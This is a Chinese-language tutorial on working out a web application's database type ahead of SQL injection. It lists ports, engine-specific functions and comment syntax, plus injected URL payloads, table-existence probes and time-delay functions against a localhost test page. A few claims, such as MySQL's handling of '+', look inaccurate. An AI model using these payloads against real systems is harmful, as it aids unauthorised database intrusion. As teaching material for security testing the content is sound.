SQL注入如何判断数据库类型

前言

在进行SQL注入之前,首先应该判断数据库的类型,不同的数据库在处理一些函数的时候会有一些微妙的差别,只有判断出是哪种数据库类型,这样才能根据数据库的类型选择合适的函数,更容易实现SQL注入。

# 前端与数据库类型

asp:SQL Server,Access

.net:SQL Server

php:MySQL,PostgreSQL

java:Oracle,MySQL

# 根据端口判断

Oracle:默认端口 1521

SQL Server:默认端口 1433

MySQL:默认端口 3306

# 根据数据库特有函数来判断

# len和length

len():SQL Server 、MySQL以及db2返回长度的函数。

length():Oracle和INFORMIX返回长度的函数。

# version和@@version

version():MySQL查询版本信息的函数

@@version:MySQL和SQL Server查询版本信息的函数

# substring和substr

MySQL两个函数都可以使用

Oracle只可调用substr

SQL Server只可调用substring

# 根据特殊符号进行判断

/* 是MySQL数据库的注释符

-- 是Oracle和SQL Server支持的注释符

;  是子句查询标识符,Oracle不支持多行查询,若返回错误,则说明可能是Oracle数据库

#  是MySQL中的注释符,返回错误则说明可能不是MySQL,另外也支持-- 和/**/

# 根据数据库对字符串的处理方式判断

# MySQL

http://127.0.0.1/test.php?id=1 and 'a'+'b'='ab' 

http://127.0.0.1/test.php?id=1 and CONCAT('a','b')='ab'

# Oracle

http://127.0.0.1/test.php?id=1 and 'a'||'b'='ab'

http://127.0.0.1/test.php?id=1 and CONCAT('a','b')='ab' 

# SQL Server

http://127.0.0.1/test.php?id=1 and 'a'+'b'='ab' 

# 根据数据库特有的数据表来判断

# MySQL(version>5.0)

http://127.0.0.1/test.php?id=1 and (select count(*) from information_schema.TABLES)>0 and 1=1

# Oracle

http://127.0.0.1/test.php?id=1 and (select count(*) from sys.user_tables)>0 and 1=1

# SQL Server

http://127.0.0.1/test.php?id=1 and (select count(*) from sysobjects)>0 and 1=1

# 根据盲注特别函数判断

# MySQL

BENCHMARK(1000000,ENCODE('QWE','ASD'))

SLEEP(5)

# PostgreSQL

PG_SLEEP(5)

GENERATE_SERIES(1,1000000)

# SQL Server

WAITFOR DELAY '0:0:5'

相关推荐

  1. SQL注入如何判断数据库类型

    2024-07-11 00:42:02       26 阅读
  2. 如何预防SQL注入

    2024-07-11 00:42:02       21 阅读
  3. MSsql数据库 sql注入

    2024-07-11 00:42:02       32 阅读
  4. SQL注入数据库基础)

    2024-07-11 00:42:02       38 阅读
  5. 如何防止SQL注入攻击?

    2024-07-11 00:42:02       30 阅读
  6. 如何防御sql注入攻击

    2024-07-11 00:42:02       20 阅读

最近更新

  1. docker php8.1+nginx base 镜像 dockerfile 配置

    2024-07-11 00:42:02       67 阅读
  2. Could not load dynamic library ‘cudart64_100.dll‘

    2024-07-11 00:42:02       72 阅读
  3. 在Django里面运行非项目文件

    2024-07-11 00:42:02       58 阅读
  4. Python语言-面向对象

    2024-07-11 00:42:02       69 阅读

热门阅读

  1. 什么是引用

    2024-07-11 00:42:02       24 阅读
  2. 如何从Git仓库中删除大文件并解决推送错误方案

    2024-07-11 00:42:02       23 阅读
  3. Git删除了文件拉取时失败

    2024-07-11 00:42:02       23 阅读
  4. 学习测试练习题

    2024-07-11 00:42:02       24 阅读
  5. QT log日志

    2024-07-11 00:42:02       29 阅读
  6. Angular页面项目以HTTPS方式启动调试

    2024-07-11 00:42:02       22 阅读
  7. ArduPilot开源飞控之AP_VisualOdom

    2024-07-11 00:42:02       20 阅读
  8. 如何实现跨域

    2024-07-11 00:42:02       19 阅读
  9. centos7yum-mysql-community-server安装流程步骤

    2024-07-11 00:42:02       24 阅读
  10. toFixed 四舍五入问题

    2024-07-11 00:42:02       21 阅读
  11. [C++][CMake][嵌套的CMake]详细讲解

    2024-07-11 00:42:02       19 阅读
  12. 65.指针函数和函数指针

    2024-07-11 00:42:02       24 阅读
  13. 网络安全测评技术与标准

    2024-07-11 00:42:02       25 阅读
  14. Qt之多线程编程(QThread)

    2024-07-11 00:42:02       25 阅读